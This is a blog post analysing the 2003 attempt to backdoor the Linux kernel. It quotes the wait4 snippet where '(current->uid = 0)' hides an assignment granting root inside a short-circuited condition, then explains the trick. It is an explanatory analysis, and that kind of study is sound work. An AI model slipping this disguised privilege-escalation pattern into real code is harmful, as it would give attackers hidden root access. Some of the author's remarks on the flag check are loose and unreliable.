C, Linux, Short Circuits, and Equality Assignment

Post date: Oct 10, 2013 2:17:30 PM

So I'm reading this post on an apparent 2003 attempt to insert a backdoor into the Linux kernel. In the post, he shows the bit of code in question:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
        retval = -EINVAL;

and, in a parenthetical, asks the C-savvy readers to explain the subtleties of what's going on...with answers at the end of the post. I haven't read the answers yet, so I'm going to post my analysis, then compare with Dr. Felton's once I finish the article.

First off, the (current->uid = 0) clause. Anyone who's passed Computer Science 1 knows this is an assignment, not a test for a equality (the latter uses ==, not = ). Unfortunately, even experienced programmers could miss the difference on a casual glance through the code.

Second, (current->uid = 0) is not just a statement; in C, assignments are also expressions, meaning they evaluate to a value. Specifically, they evaluate to whatever the final value on the right-side of the assignment comes out to be. In this case zero, also known as "false" in C.

Third, a lesser-known property of the && ("Logical AND") operator is that it is short-circuiting, meaning that the right-side expression is evaluated if and only if the left-side expression evaluates to true.

So, put those together, and we have a flow through the if-statement that goes:

  1. evaluate (options == (__WCLONE|__WALL)).
    1. if true, then evaluate (current->uid = 0)...which always evaluates to false and has the side-effect of setting the value of current->uid to zero (more on this in a moment).
    2. if false, then the if-statement is skipped over

And that's it. Note that the body of the if-statement, retval = -EINVAL;, is never executed. It is dead code, dead enough that a smart compiler should be able to catch it (oversight/ignorance on the part of the mysterious backdoor-injecting coder?). (Update: The only two compilers to which I have access do not seem to give any feedback on when or where they perform dead-code elimination. Sad panda.) Effectively, the backdoor code is an obfuscated version of the following:

if (options == (__WCLONE|__WALL)) {
    current->uid = 0;
}

Now I know next-to-nothing about the internals of the Linux kernel, but I know enough, in general, of systems administration to know:

  1. what a "uid" is (answer: a user id, the way OS users are represented, internally and numerically, by the system)
  2. that a uid of zero is very likely a special one. My guess is either the root user account or, perhaps, a special kernel-mode user.

So let's find out. According to Wikipedia, my first guess was correct; UID 0 is the root (superuser) account. In other words, the backdoor code has the effect of giving the backdoored program root-level access to the system whenever (options == (__WCLONE|__WALL)) is true.

My intention had been to stop there and see what the remainder of the post had to say, but my curiosity is getting the better of me. I want to know the context of those "options" and what they really mean. It appears __WCLONE and __WALL are flags for the wait() system call that indicate to it to wait until child threads have completed; putting a bitwise-OR between then (the | operator) effectively says check if either are true. So, the bottom(ish) line appears to be "if this thread has child threads, give this thread root access". Hmmm.

Now to see how close I got...and the answer is pretty much that I nailed it (high-fives self). Felton does mention that "So the effect of this code is to give root privileges to any piece of software that called wait4 in a particular way that is supposed to be invalid," and I don't know enough about the kernel to understand why (options == (__WCLONE|__WALL)) would be an invalid situation. Still, an excellent example of how the subtleties of a programming language can be used for evil as well as good.